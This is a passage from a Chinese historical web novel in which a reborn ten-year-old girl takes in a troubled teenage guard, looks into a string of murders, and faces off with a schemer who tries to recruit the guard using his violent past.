“从前我没给月儿安排近身护卫,是考虑她胆子小,既然她不害怕你,那你便专心跟着她吧。”褚氏严苛道,“出门要寸步不离,她掉一根头发,拿你是问。” “阿娘,您太凶啦……”父亲走了,小姑娘再不拘束,亲昵地靠了上去,挽着母亲的手臂轻摇,“再说他现在身子没养好,如何能寸步不离?” 寸步不离当然好,但她可不能得意忘形,得谦虚一下。 “你身子也未好,更要少动弹。”褚氏掀了眼皮,打量着少年的腿,嘟囔,“瞧着也好了不少,应当不影响……” “嗯?影响什么?” “从木兰院到乔氏学堂的路,他应当能自己走吧。” 乔姝月愣了一瞬。 很快反应过来! 她激动地原地起跳,喜出望外,尖叫声几乎冲破房顶:“阿娘!你是想让他和我一起读书吗?!” 褚氏无奈地捂了下耳朵,看着极度兴奋的女儿,也不知她在高兴什么。 也许是又多了一个伙伴和她一起读书,所以才开心吧。 “嗯,既是读书的好苗子,那就该好好培养。” 乔家父母都是惜才之人,更何况眼前少年是他们女儿的救命恩人。是孤儿不要紧,只是出身低些,不是罪犯,一切都好说。 读个书而已,乔家有自己的夫子,自己的学堂,多加一个学生,不算大事。 “这段时日你们还在自己院里读书,等你痊愈,便带着他一起去见夫子吧。” 乔姝月美滋滋地领人出门,没想到陆氏等在外头。 陆氏屏退众人,将乔姝月拉到一边,她一双美目望向少年,目光很柔和,说出来的话却很冷静沉稳。 “他在父亲那里过了明路,暂且不会再有什么事。倘若日后他出了什么差错,我与你四哥都不会再帮你兜着。且记住,你自己的人,要好好管教,莫要辜负了哥哥们对你的信任。” 乔姝月很感激陆氏,重重点头,同她立了保证。 等回到木兰院,乔姝月的兴奋劲儿还没过去。 她不顾谢昭凌的反抗,硬拖着人回了房。 谢昭凌不敢弄疼她,于是强忍着心底的不适,由着她摆弄自己。 “谢护卫!你能读书啦!” 她抓着他后三根手指,开心地蹦蹦跳跳。 谢昭凌绷着脸,冷眼看她。 “阿凌哥哥!!” “……” 谢昭凌瞳仁微颤,喉结轻轻滚了滚。 “能读书,往后或许还能考个功名,不考也不要紧,反正学问都是自己的。” “我好开心,父亲很欣赏你,往后你还会得到更多人的认可!” 小姑娘的笑容犹如晨曦的微光,澄澈的眸中倒映着星星,倒映着他的影子。 她拉着他的手,仰着头,轻声问道:“阿凌哥哥,你开心吗?” 谢昭凌挪不开目光。 他其实无所谓读书做官,他没想过自己还能活多久。 但看着她全心全意仰望他的模样,心底竟也燃起对未来的渴望。 前路不再是满眼的灰败,她为他添了许多色彩。 面上的冷色不知何时褪去,他目光柔软,低下了声,温柔地回: “嗯,开心。” 第29章 【29】 情绪安定下来以后,乔姝月趴在桌上发呆。 跳了半天,体力消耗过大,她病中本就虚弱,此刻再蹦跶不起来。 她头侧着枕在胳膊上,来回地碾,肉肉的脸颊被压扁,嘴巴也挤成嘟起的形状。 “方才在门口,你都听到了吧?” 她没什么精神,眼巴巴地瞧他。 谢昭凌笔尖一停,抬眼过去,正好对上她的视线。 “命案吗?” “是啊,父亲说一个月内发生三起了。” 乔姝月脸皱成一团,看起来颇为苦恼。 她记得前世一共是四起,而那最后一案,终于抓住了凶手。 她记得二哥被抓那天,是七月初一,距今只剩五天。 想到这,乔姝月烦闷地抓了抓头发。 谢昭凌沉默下来。 原来她忧心忡忡的是这件事,可这和她有何关系? 谢昭凌这一路走来,见过太多的死人,莫说三起命案,就算一日死上一户人,他也并不觉得稀奇。 那些闹饥荒的城镇,一日都要死上不少人。 没有人会去探查他们究竟是病死的,还是被人杀死的。 脑海中一闪而过的,是他遮着口鼻,越过满地腐尸向前行进的画面。 谢昭凌垂眸看着他反复练习的字,搁下了笔。 乔姝月把头埋进臂弯,声音闷闷的:“阿凌哥哥,若我说我做了个预言梦,你信吗?” 被她唤了许多遍哥哥,他还是没能坦然接受。 谢昭凌耳根微热,几乎没有犹豫,“信。” 乔姝月猛地抬头,满眼震惊,“你竟这么轻易就信了?” “为何不信?”谢昭凌淡淡反问,将写满的纸拎起来抖了抖,晾干墨迹后,放到旁边的一沓中。 他的家乡巫蛊之术盛行,什么稀奇事都听过。就连他自己身上也带了些特殊,即便他曾嗤之以鼻,但养母喝了以他血为药引的巫药后,确实有在好转,他不信也信了。 更何况他逃出去后,他们也不肯放过他,千方百计要将他抓回去。 谢昭凌没办法欺骗自己他和旁人是一样的。 乔姝月这样菩萨心肠的人会被上天眷顾,赋予异于常人的能力,再正常不过。 而像他这样的…… 袖子处传来拉拽感,谢昭凌思绪中断,他低头,看向袖口那只肉乎乎的小手。 “那我就同你直说了,我梦到二哥会被当成替罪羊!” 被人设计,被人陷害,牵扯进那个特意用来栽赃的,第四桩命案。 谢昭凌神色微凛,眸光深邃,“你想让我如何做。” 只要她开口,他就没法拒绝,毕竟他还欠着她。 乔姝月弯了弯眼睛。 …… 天色渐晚,西市街尾,好戏开场。 台上歌伎乐伎弹着唱着,谢昭凌坐在街上露天的茶铺里,心不在焉地喝着茶。 “都怨你,磨磨蹭蹭的,没抢到好位置!”距离茶楼大门最近的一公子哥抱怨道,“如今风声鹤唳,天都黑了,街上怎么还见这般多的人啊,挤死了。” 友人笑呵呵地道歉,又道:“你是说月前那几个死人的案子?有什么可担心的,死的都是女子,和咱们半点边都不沾。” 公子哥道:“怎么不沾?就说刚死那位,可是咱们西京最擅琵琶的乐伎,上回咱还一起去听她的场呢,你忘了?” 友人击响手中折扇,回忆道:“竟是她吗?咱们是……是五日前去的悦泉楼?那她……” 公子哥面露不忍,可惜道:“转日便死了。” “大理寺还找我问话来着,没找过你吗?” 友人茫然摇头,“未曾有人找过我。” “那可能是还没轮到你吧,我也是昨日才被大理寺的人问了两句话。” 友人先前只觉得那些命案离自己很远,所以就算旁人提起,他也兴致寥寥,眼下知晓自己与死者有过接触,也有了谈兴,“那头两位呢?” “头一位是悦泉楼里的一位卖艺的姑娘,第二个是一个女扮男装的千金,听说是生辰那天偷溜出门玩的,不知怎么被人盯上。” “哪家千金?” 公子哥环顾左右,压低声:“前两人死时,这案子还在刑部手里,我是听刑部当差的兄弟说的,好像是叶宰辅家的姑娘,因这事不算光彩,叶家人嫌丢脸,所以秘而不宣,一直压着消息呢!” “你看我最近都不约你去悦泉楼了,那地方被衙门盯上了,咱们还是少去为好。” “……” 谢昭凌在桌上放了几个铜板,起身走了。 他腿伤未愈,走得不快,好在小路上人少,慢慢走也无妨。 等拐到乔府外的那条街时,忽然停下脚步。 少年蓦地回头,目光锐利,看向另一条小巷。 唰,唰—— 有脚步声由远及近。 两侧墙壁投下阴影中,缓缓走出来两人。 其中一人是熟面孔。 “你看上去过得不错。” 男人目露赞赏,上下打量。他从黑暗中显出身来,狭长的眉眼带着笑意,叫人无端联想“笑面狐狸”四个字。 “郑丰南。” 男人诧异扬眉,笑容更胜,“你还记得我的名字?” 谢昭凌不语。 他从前很喜欢郑丰南给他的感觉,全身上下都写满了算计两字,看向他的目光也和旁人不一样,即便视他为物件,想要利用他,但是坦荡的,光明正大的。 不像他曾经遇到的那些人,花言巧语地欺骗,伪装成善人模样,诱他入牢笼,而后撕掉伪装的面具,露出本来的狰狞。 可在乔府待上一段时日后,再遇郑丰南,他竟生出两分微妙的不适感。 他面上不显,警惕地后退了一步,一如初见时的反应。 “还是那头未驯化的小狼。”郑丰南满意地点点头,看着少年那一身上得了台面的装扮,“看来你在乔家也不过是表面风光,否则你此刻会扭头就走,而不是停在这里,听我说话了。” 谢昭凌没兴趣同他闲聊,没什么耐心地道:“有事?” “没什么事,只是正巧路过,来见见你。” 谢昭凌转身走了。 走了几步,背后慢悠悠地传来:“我以为你过不久就会被赶出来,没想到你还真有些本事。” 不仅在乔家立住脚跟,似乎还混上了不错的职位。 谢昭凌步子不停。 郑丰南笑了声:“你身无证明,又背着人命,乔家人怎会留下你呢?” 谢昭凌蓦地顿住脚步,眼底顿时迸发出杀意。 郑丰南似察觉不到少年周身的气势一般,缓步走到他身边,微微朝他的方向弯了身子,笑着道:“怎么,自诩清流的乔家竟愿意接纳你一个杀人犯吗?” 空气中寒光一闪—— 嘭——!! 郑丰南身侧悄无声息出现一黑衣护卫,一把抓住了少年突发袭击的手。 最碰不得的地方被人钳制,谢昭凌手握着匕首,反手挣脱开,在那黑衣护卫手背上留下一道血痕。 护卫眼底闪过诧异,身体反应十分迅速,护着自己的主子,带着人飞速向后退了数步。 “哎哟……”郑丰南猝不及防被拽一踉跄,没好气地瞪了护卫一眼,“慌什么,他还敢在京城里杀人不成?只是吓唬人罢了。” 轻描淡写的,仿佛刚刚被人用刀尖抵着脖颈的人不是他一样。 他转回头,冲少年笑得友好。 “别生气嘛,我可没有威胁你的意思,只是单纯好奇罢了。”郑丰南优雅地理了理衣袍,再度往少年的方向靠近,“说真的,你挺让我惊喜的,乔府一家人各个都是死脑筋,排外得很,我试过许多次都没成功安插细作,想进去很难,你是如何办到的?” 郑丰南没往乔姝月身上想,毕竟她再能耐,也只是个十岁的女娃,能掀起多大的风浪?倒不如那位乔四公子更让人在意些。 当初除却形势紧迫、他不便再大动干戈惹人注目的因素外,他其实也想看看,少年被人救走后,究竟会成长为何种模样,更存了再试试他能力的心思。 既然乔府的人有人愿意带他回去,那倒也免了他费心再安排别人。只不过郑丰南没想过少年能待多久。 到底是乔府松懈了,还是他低估了这少年的本事? 不到一个月的时间,少年变化惊人。 不过骨子里的本质还是没变,依旧是他所需要的那个人。 郑丰南是真喜欢他,再一次诚恳邀请:“不然你别回去了,跟着我?” 往乔家安排细作的计划他早已放弃,现在就算把人从乔府带出来,也不影响他什么。他会把少年用在更重要的地方,彻底又全部地发挥他的价值。 谢昭凌沉默不语,浑身肌肉绷紧,沾了鲜血的刀尖始终对着他,他目光锋利,冰冷决绝,一如初见。 “你瞧我,还替你解决了身份的问题。”郑丰南邀功似得,将一样东西在他面前展开,“瞧瞧,照身贴,官府亲发。” 和谢昭凌身上揣着的那个别无二致,章印也一模一样,只是在姓名与籍贯那里,是不同的。 谢昭凌已经认得不少常用字,尤其是他的名字。 在郑丰南手中的这份中,姓名那里,写的是“捡娃”。 谢昭凌恰好就认得这两个字,当年官府通缉他的海捕文书上,写的就是这两个字。 他看向郑丰南的目光愈发地冷,握着匕首的手逐渐用力,他悄悄调转了脚尖,变换了一个站姿,更方便他适时发起突刺。 如一头在暗夜里蛰伏良久的猛兽,极有耐心,又杀气十足,只为等待一个能一击毙命的时机。 郑丰南敏锐地嗅到危险,赶忙高举双手,后退到护卫身后。 他皱眉,显然有些不高兴,“你怎的这般不识好赖?当真要杀我不成?你若朝我挥刀,乔家那边你定回不去,我这里也来不了了,究竟是蠢还是笨,这笔账都算不明白?” “这难道不是你的名字吗?给你一个身份,不让你继续当奴隶,你还不高兴了?” 谢昭凌这会才终于开口,他一字一顿,嗓音冷得如寒冬的霜。 “你既已知我被通缉,为何还要招揽我。” 郑丰南愣了下,“那又如何?只是几条人命而已,又不算大事。” “哦,在我这儿不算大事,但在那迂腐的乔家人眼里,尤其是乔御史眼中,那可能就是天塌地陷的大事。” “嗯……算上你为了救下乔氏幼女杀的柳家小少爷那两人,你身上也就背了六条人命吧?”郑丰南又笑道,“那个半路算计你的乡绅,还有你的养父母,他们死不是应该的吗?” 还有一个是刀疤男,那时谢昭凌还未离开悦泉楼,之所以能善终,要多亏郑丰南帮他善后。 原来他早就将自己的过去都查了个一清二楚。 那么不管是从情感还是从理智出发,他都该跟他走。 郑丰南似乎真的很欣赏他,待他也不错,在调查完他的来历背景以后,仍然选择他。 谢昭凌沉默半晌,慢慢将匕首收了起来。 郑丰南满意地笑了,“我就知道,你不会叫我失望的。” “乔家人不会接纳你的,哪怕现在他们给了你脸面,一旦得知你的过去,就会毫不犹豫将你舍弃,将你送到官府。” “我这儿才是你该来的地方。”郑丰南望着少年远去的背影,冲他喊道,“我在悦泉楼等着你。” 少年已不见踪影,郑丰南笑容渐渐消散。 他望着空无一人的小巷,失神喃喃:“像,真像啊,比初见时更像了。” ** 谢昭凌回到乔府,已过了申时。 他走路无声,藏身于阴影处,顺着墙根疾行,到木兰院门口,轻巧地翻墙进去。 用没受伤的那条腿落地,一抬头便对上一双水灵灵的大眼睛。 谢昭凌:“……” 他难得有些心虚,喉结轻滚了两下,“怎么没睡?” 小姑娘看上去怨气十足,她瞪了他一眼,“为何不走门?!” 谢昭凌别过头去。 走门的话,会被院门口的灯笼照到,他此刻最不喜欢沐浴在光里。 在光照不到的地方疾行,才是他该有的生活。 乔姝月又要教训他,结果一阵晚风吹过,她张嘴话没说出来,“阿嚏”一声,打了个响亮的喷嚏。 谢昭凌脸色微沉,站到上风处,替她挡住来风。 刘妈妈听着声音,哎哟一声,赶忙走过来,“两个小祖宗,大晚上的在这看什么星星呢?” 她一手一个,拎着两个人的领子给拽回廊下,然后把乔姝月推进屋里,转头又对着谢昭凌道:“谢护卫办事辛苦了,快早些歇息去吧,别管姑娘。” 乔姝月俩眼一瞪,“不行,他还没回话呢,他不交代,我睡不着!” 刘妈妈无奈,“那你们有话快说。” 说着让开一条路,将谢昭凌也招呼了进来。 刘妈妈给乔姝月弄了个手炉,又将屋中窗户全都关死,退了出去,守在门口。 夏夜闷热,没一会功夫,谢昭凌后背生出一层热汗。 “……” 乔姝月看到他额角渗出的汗滴,不好意思地冲他笑笑。 谢昭凌暂时抛开脑子里的杂念,将打听到的消息一五一十道来。乔姝月听罢,脸色愈发凝重。 她沉吟片刻,冲他摆手,“辛苦你了,回去休息吧。” 谢昭凌再不多留,扭头往外走。 只是快到门口时,忽然又听小姑娘叫他。 “阿凌哥哥。” 谢昭凌:“……” 他触到门闩的手倏地收紧。 “那天你问我为何将你带回来,还记得吗?” 谢昭凌没敢回头,嗓音发紧,“……不记得。” “哦,那你现在又记起来了吧?” 谢昭凌:“……” 他听到身后人跟了上来,蓦地回头。 小姑娘脸颊微红,裹着毯子,仰头望他,“你那日走得急,没来得及听我的回答。” 谢昭凌只觉得自己的肺部被挤压,一度喘不上气,他受不住她满眼都是他的模样,尤其是在遇到过郑丰南以后,他心乱如麻,不知该以何种面目面对她。 她一定不知道他从前是什么样的人,或许不止是从前,他此刻与和之前没有什么不同。 他硬着语气,“我不想知道。” 转身要走。 衣裳后摆又被人轻轻拉了下,“阿凌哥哥,其实很简单的。” 谢昭凌用力闭上了眼睛。 乔姝月敏锐地觉得今晚的他不同寻常,他走时还不是这样,不知为何,出去一趟就像变了个人似得。 有一种要距她于千里之外的疏离感,那是乔姝月最不喜欢的样子。 她不喜欢让误会过夜,思来想去,只能想到或许还是那天那个问题在作祟。 虽然不清楚缘由,也不明白为什么他自己问完后躲了她好几日,但答案未曾告知于他,是实实在在摆在她面前的事实。 也许就是他弄不清事实,不了解她的想法,所以胡思乱想了呢? 她得告诉他。 小姑娘松开他的衣摆,往前走了两步,绕到他身前。他与门距离很近,好在她人小小的,能塞进去。 她蛮不讲理地挤到他与门板中间。 谢昭凌眼皮一跳,猛地后退了一步。 他并不排斥,只是有些惧怕,怕自己与她过近,心就更乱了。 乔姝月茫然地看着俩人又拉开的距离,小跑两步跟上去,一把抓住他的衣摆。 又薅上熟悉的位置,同那声“哥哥”一样,谢昭凌顿时没了反抗的力气。 他垂下眸,对上女孩如黑玉般剔透的眼睛。 他以为她会和郑丰南一样,说出什么冠冕堂皇的话来。 结果小姑娘真诚开口:“因为你长得好看。” 谢昭凌:“……” 那一瞬间他怀疑自己听错了。 他认真地与她对视,发现她的眼睛非常干净,和郑丰南看他的眼神完全不同。 郑丰南眼里有欣赏,有看同类般赞同的目光,有他早已习惯的算计,这些对他来说的确十分有吸引力,尽管郑丰南是要利用他,把他当做一把刀,可他并不在乎。 来乔府后,他无所适从,时时刻刻都觉得自己格格不入。 “你长得好看,所以我将你带回来,”小姑娘兀自点头,很认同自己的模样,“放在身边,养眼。” 她说得是真话。 她是真的看上他这幅皮囊。 谢昭凌心里有些失望,说不清为什么,只是忽然觉得,她同一般的女子也没什么分别。 同时也缓缓松了口气,他在郑丰南的劝说下产生了摇摆,面对她生出的愧疚感都少了许多。 与她告别,意欲离开。 衣摆被扯紧,她并没有松手。 “我还没说完呢,”她望着他道,“你好看,所以我喜欢。你听话,所以也喜欢。” 谢昭凌听到“喜欢”二字,心尖莫名一酸,他一冲动,没忍住反问: “可我当初并不听话,还试图逃跑。” 当初她扬言买下他,他不想再和她这样的小菩萨扯上关系,所以连夜翻窗逃离了医馆,还害得她被兄长斥责,害她难过。 小姑娘没想到他有此一问,愣了下,也笑着反问他:“你现在就不会逃跑了吗?” 谢昭凌抿紧了唇,眼底浮现出一丝犹豫。 他没有回答。 可乔姝月其实都清楚,按照前世的轨迹,他会遇到他的伯乐,救他出火海,从此展翅高空。 带他回来的每一日她都在反思,自己究竟是对是错。破坏了他的际遇,对他真的好吗? 前世他生命里朝他伸出援手的“贵人”,今生是否出现了? 他那日如果没有回来,是不是就走上了和上一世一样的路? 每一问都像一块巨石,沉甸甸压在心头,让她无法喘息。 “你有能力选择去留,我都知道的。”她平静地说道,“就比如今晚,你走出乔府大门,或许就不会再回来了。” 可她还是选择放手,看着他出门。坐在院子里,等待一个不确定会不会回来的人。 谢昭凌现在是自由身,有照身贴傍身,不用再东躲西藏。 欠乔姝月那五十两,他没有签字画押,只要他不承认,那笔欠款就不存在。 从她的目光中,谢昭凌感觉自己的内心被人洞穿。她完全不像一个十岁的孩子,她冷静得让他想要逃避。 他收回对她的评判。 她很独特,是他遇到的最独特的人。 心脏好像被蜜蜂蛰了一下,谢昭凌哑声问:“你不怕我跑了吗?” 小姑娘眼眶微红,却不像每回那样对着她呜呜流泪。她并没哭,可是谢昭凌没来由地觉得她在难过。 她声音轻轻颤抖了两声,“我怕,可是怕你就不会跑了吗?乔家困得住你吗?” 一股浓烈的情绪将谢昭凌早已麻木的心脏密密实实包裹。 他想否定她所有的问话,可字卡在喉咙里,讲不出,因为他确实打算离开的。 他完全可以撒谎,可他发现,面对她,自己没办法开口骗她。 他有些慌乱,措辞苍白:“四公子会报官。” 乔誉很在意那五十两的事,所以他若不告而别,乔誉肯定会报官,不会给他留情面。 但真的是因为这个理由,所以他才没有跟郑丰南走吗? 乔姝月静静看着他,半晌,笑了,“那就当是你不想吃官司吧。不早了,去睡吧,今日谢谢你。” 谢昭凌心慌意乱,几乎要落荒而逃。他将房门打开,对上刘妈妈诧异的目光。 “我会让你心甘情愿留在我身边的。” 背后人低语呢喃。 “阿凌哥哥,总有一日,你会明白我口中的‘喜欢’为何意。” 门口两人皆蓦地抬头,投来震惊的目光。 “喜欢?!” 刘妈妈几乎尖叫出声。 “是啊。” 他们都当她是小孩子,哪里会把她的“喜欢”当回事。 刘妈妈很快恢复了冷静,意识到自己想多了,摇摇头走了。 谢昭凌的脸颊慢慢滚烫,心口扑通扑通跳个不停,震得有些耳鸣。 小姑娘半仰着头,仰望星空,惆怅地叹了口气: “你再长大点就懂了。” 谢昭凌:“……” 第30章 【30】 谢昭凌失眠了。 耳边是李成的呼噜声,他却难得毫无睡意,头枕着手臂,仰躺着,心乱如麻。 十岁的小孩子说喜欢,谁也不会放在心上。 她说他不懂,可他比她年长,又自小混迹在江湖之中,他怎会不懂? 她口中的喜欢,不就是最简单、纯粹的,看上一件好看的物件,就想买回家中摆在显眼的位置上吗。 恰如她对自己那般。 如此也有了解释,为何她会说他与那些人都不同。在她眼中,或许他的皮囊最对她的胃口。他这身血肉,这身皮囊,素来都被人觊觎。 谢昭凌翻身朝里,闭上眼睛。 这般轻易就将那二字宣之于口。 分明是她什么都不懂。 …… 梦中一片血色。 “娘怎会不喜欢你呢,来娘这,别躲着娘。” 女人面黄枯瘦,突出的两只眼睛像鱼。 小少年似信非信,迟疑着上前。没走两步,脖颈被一只粗糙的大手按住。 他险些跪倒在地,被人擒着后颈,粗暴地拖到榻前。 亮光一闪,腕上传来一阵剧痛。 “唔——!!” 小少年痛呼出声,感受到温热的液体流过手腕,眼底泛起的泪花随着眨眼的动作掉落在地上。 时间的流速加快,顷刻间,小少年成长到十三四岁的模样,有了反抗的能力。 懵懂神色褪去,逐渐化为冰冷。 “喜欢?” 少年举起伤痕累累的手腕,向男人挥拳。在男人疯狂地要捅向他胸口之前,夺过刀,先割破了男人的喉咙。 男人肮脏的血溅了他满脸,捂着脖子倒地抽搐。 转过头望向双目仍然尽是渴求神色的养母,少年轻蔑地勾起唇角。 “是喜欢我这味药吧。” 烈火滚滚,炽焰盛燃。 少年动了动被绑缚在柱子上的手脚,麻木的目光望向每一个虔诚又疯狂的信徒。 “烧死他!烧死他!” “弑父杀母,天理难容!” “安静,都安静——此子乃是先神的恩赐,是大巫医在赐福苍生。上天令他犯下罪孽,给了他于烈火中重塑身骨的机会,也是在补偿受苦受难的芸芸众生。” “将他焚化,成灰,成粉,可重现百年前大巫医之神迹——” “好!烧死他!烧死他!” 人声鼎沸,犹如一场盛大的狂欢。 “……” “……” 耳畔响起来回走动的声音,有人开门走了出去。 太阳光顿时照进西厢。 谢昭凌慢慢睁开双眼。 他怔怔望着不算陌生的房顶,一时间反应不过来。 醒来第一个念头,是他竟然还活着。 不知在榻上躺了多久,房门忽然被人敲响。 “咚咚——” 谢昭凌没有理会,他暂且找不到感知,脑子里尽是断裂的回忆碎片,令人头痛欲裂。 朝阳升起,烘烤得他周身滚烫,令他想起梦中置身火海时的场景。 脑海中繁杂的画面与声音交杂,忽然有一道清脆的声音突破了重重迷障。 “谢护卫?谢护卫你在吗?” 声音有些耳熟。 ——“放开我家姑娘!!” 哦,是记忆里那个呼救的声音。 是小菩萨身边的人。 小菩萨…… 乔姝月。 谢昭凌极为缓慢地眨了下眼睛,五感渐渐回归。 他手撑在榻上,慢慢起身。下意识看向手腕间,那里并没有增添新的伤痕。 他暗暗松了口气。 换好衣裳,将帕子扔进水盆里沾湿,胡乱擦了下脸,才去开门。 玉竹见他没昏在里头,松了口气。嫌他磨蹭耽误时辰,没好气地指了指院子外,“有人找你。” 谢昭凌朝外看去,魏二鬼鬼祟祟扒着院墙,冲他挤眉弄眼,“谢兄!!” 谢昭凌:“……” 自从救人那日分别,他们还未再见过。 魏二也因此直到今日才得以向他邀功。 谢昭凌兴致寥寥地听了半晌,最终敷衍地施舍了魏二最想听的那句:“往后有事尽管开口。” 虽然没几分出自真心,但若能让人安静下来,谎言他并不吝啬。 耳边是魏二叽叽喳喳的声音,谢昭凌忽然沉默下来。 他的确不吝啬谎言,那为何昨晚对着乔姝月没说出话来? 魏二说了一阵自己的近况,瞧着木兰院的环境,实在难掩嫉妒。不过再嫉妒,他也不会对着自己的金靠山抱怨。 “谢兄,你还要那些门路吗?”魏二上赶着献殷勤,“从前砍柴搬柴那些小活做着没意思,我这又有了新的门路,可要听听?” 谢昭凌恍然回神,是了,他本打算赚够五十两银子以后,就还给她。 鬼使神差,他回过头,打算看一眼正房的方向。 谁知他扭头便对上了小姑娘水灵灵的大眼。 她手垫在下巴上,人趴在窗边,不知看了他多久。 似是没想到他会突然转头,一瞬间愣住,很快又反应过来,朝他露出好看的笑容,惊喜又兴奋地冲他挥手。 谢昭凌眼睛似被烫到,慌忙转回头。 魏二疑惑地望过去,见是乔姝月,又忙不迭弯身行礼,不敢再看。 他胆子说大也不大,所有的胆量和面皮都用在求发财上了,对着主子,尤其是整个乔家的宝贝疙瘩,他可不敢在人家眼皮子底下挖墙脚。 魏二长话短说。 “这回都是大活,我一个人办不了,”他压低声音,大言不惭,“还得咱俩合力才成。” 魏二心知自己的本事只能算个拖后腿的,若是谢昭凌一人也定能办好,可这门路是他找来的,他想掺和一脚,一起分点钱不过分吧? “你考虑好了就告诉我。” 魏二还忙着赚银子,说完正事便走了。 谢昭凌站在原地,不敢再回头。 他望着魏二匆忙远去的背影,忍不住去想,他不是很缺钱吗?为何不给魏二一个明确的答案? 这事情没有思考与犹豫的余地,压根就不值得他多想。 他本应该按照原来的设想,在木兰院好好做事,每月积攒下月银,再加上各种外快,用不了太久就能把欠款还清。 到时候他养好伤,她应当也长大了,等到往后嫁人,不再需要他还恩,他就更也没有了留在乔家的理由,正好能继续走他自己的路。 银子越快还清越好,他一直是这么打算的。 ——“阿凌哥哥,我会让你心甘情愿留在我身边的。” 魔音绕耳。 谢昭凌不敢再往窗户那边看,他低着头,闷头往房间走。 嘭——!! “哎哟,你这孩子,不看路啊?” 刘妈妈惊呼一声,怀里抱着的一排木盒子摇摇欲坠。 谢昭凌眼疾手快,扶了一下。 抬眸间,不慎又和窗下人对上视线。 谢昭凌看着她慢慢坐直身体,似乎要往他这边来,身子蓦地僵在原地。 这般不稳重,真是该训斥。 又有了把人叫进来的理由。 乔姝月拼命压制自己翘起的嘴角,朝他招手。 看到她一闪而过笑容的谢昭凌:“……” 正房门口,游廊之下。 “步从容,立端正。”小姑娘背着小手,面容严肃,“你抄那么多遍书,都抄到哪里去啦?” 谢昭凌垂着头挨训,看上去十分听话。 “书中言——缓揭帘,勿有声,宽转弯,勿触棱。”注① “走路时怎能东张西望,毛毛躁躁的?像你刚刚那样,拐弯的时候直挺挺过去,不就和刘妈妈撞上了?这幸好东西没摔坏,人也没受伤,不然我可要扣你的月钱的!” 玉竹从旁路过,飘过来一句,“他低着头的。” 没东张西望。 乔姝月眼睛立刻瞪圆,抱着肩膀,反驳道:“低着头就更不行啦!地上又没有银子,低头走路不更容易撞着人?” 玉竹又回了句“没准真能捡着钱呢”,笑着跑开。 任乔姝月说什么,谢昭凌都是一副一声不吭的模样,最后还是刘妈妈放了东西回来把人解救出来。 “他并非有意,姑娘也别太凶。”刘妈妈打量着少年,笑道,“瞧瞧,把人训得脸都红了。” 谢昭凌不自在地蜷了下手指。 分明是天气太热。 乔姝月啊了声,挠头,“真的吗?吓着你了?” 不能吧。 她好奇地往前凑了两步。 谢昭凌只看到一张小脸顿时在眼前放大。 他后仰身子,不着痕迹地吸了口气。 哪怕躲得及时,她的面容还是深深印刻在脑子里。 小姑娘眼睫毛很长,根根分明,一双眼睛又黑又亮,是没有被世俗污染过的,属于孩童的眼睛。 脑海中又不合时宜地出现昨晚的话,以及她说“喜欢”时,望向他又专注又复杂的目光。 谢昭凌狼狈地后退了一大步,一下退到院中。 “哟呵——看着点啊!” 少年后背撞上一人,脚也踩到一个软乎乎的东西。 刘妈妈回头,看到熟悉的面孔,笑道:“吴大夫来啦。” 只见吴大夫沉着一张脸,也顾不得自己被踩得生疼的脚,目光锐利扫射少年的腿。 乔姝月这下又没了方才训人时的严厉模样,开始护犊子:“他背后又没长眼睛,如何能看着点?” 吴大夫气得胡子乱颤,没跟小丫头计较,一巴掌拍在少年的肩膀上,面色阴沉,“跟我走,看看伤。” 俩人一前一后往西厢房走。 走到半路,少年回头。 李成脚步匆匆,满头大汗从外头跑进来。 他直奔正房。 乔姝月还在廊下,没有回屋,见到李成,很是高兴,甚至往前迎了几步。 两眼放光,语气很是兴奋:“拿来了?” 李成单膝跪地,行了个礼,小心翼翼解下绑在胸前的包袱,双手奉上。 “磨蹭什么呢?快来!” 吴大夫站在门口,面色不善,冲他吼道。 腿养好了吗,就到处乱窜,真是不像话! 谢昭凌没有理会,望着廊下那一主一仆,眸光幽深。 李成今日不再是捉虫赶鸟这样简单的工作。 他出去办差了,似乎很要紧。 谢昭凌默默注视,直到李成抱拳离开,小姑娘抱着那包裹回了屋。 才抿抿唇,转身朝吴大夫走。 她需要人办事。 却没有叫他。 30-40 第31章 【31】 西厢房里,吴大夫怒火中烧。 “昨天又折腾了是不是?!” “你这腿,可看着不像‘正常’用过的样子,最近是跑了还是跳了?!” 谢昭凌被震得耳朵一麻,他脑子里还想着那包裹里是什么,心不在焉地回道: “翻墙。” 昨夜遇到郑丰南,他怕对方追上来被乔家人看到,所以迫不及待地要同他拉开距离,撇清关系,一着急就跑了起来。 “……” 吴大夫险些一口气没上来。 他目光阴恻恻地,盯着少年那张稚嫩却出色的脸。半晌,磨了磨牙根,冷笑,“成啊,翻墙。” 一连说了三遍“真成”。 “你这般不服管教,那就休怪老夫亲自看管。” 吴大夫一掸衣袍起身,斜眼瞥他,“我这就去回禀你家主子,让你跟着我,养好伤再回。” 少年怔愣片刻,蓦地站起身,“不可……” “不可?有何不可?你的事你自己可说了不算。”吴大夫不许自家的招牌砸在自己手里,一甩袖子走了。 谢昭凌捞起拐杖,忙跟了上去。 他走到门口时,见到那老头已经和刘妈妈碰上头。两个人低声说着话,时不时往他这边看上一眼。 谢昭凌手抓紧了拐杖,踌躇着,没敢上前。 她会把自己交出去吗? 她昨天才说过要把自己摆在身边,养眼。 自打昨晚遇到郑丰南以后,他就发现自己的心已不如从前坚定。和她说过那些话以后,更加乱成一团,寻不到一个出口。 以至于魏二带来了他最需要的消息,他都没心思听。 有了更好的外快门路后,他第一反应也不是将事情应承下来。 他……这是怎么了? 谢昭凌紧紧蹙眉,眼底尽是茫然无措。 他看到刘妈妈上前敲响房门,玉竹将门打开,两人低语了几句。玉竹进屋回话,再出来时,和刘妈妈一起看向他这边。 谢昭凌握着拐杖的手,不知不觉出了汗。 “谢护卫,你来一下。” 刘妈妈扬声喊道。 谢昭凌动了动酸麻的脚,在吴大夫如狼虎般凶狠的目光注视下,拄着拐,一瘸一拐,慢慢地挪。 他伤在惯用的右腿,下意识抬起那只脚进门,余光瞥见吴大夫顿时凶狠万分的目光。 谢昭凌默默收回伤脚,将拐杖先伸了进去,撑住身体,而后靠着上身力量,将两条腿先后踏了出去。 他以为吴大夫也会跟进来,谁知他才进门,玉竹便从他身后将门关好。 玉竹冲里边扬下巴:“姑娘等着呢。” 说完也不等他说话,抱着一盆花走到窗边,修剪叶子去了。 谢昭凌站在门口,透过门板,有交谈声传了进来—— “我送送您,让您受累了。”刘妈妈笑呵呵地道。 吴大夫冷哼一声,“这般作践自己的身子,不等老了就得后悔。” “您放心,有姑娘管着他,不让他乱跑。” 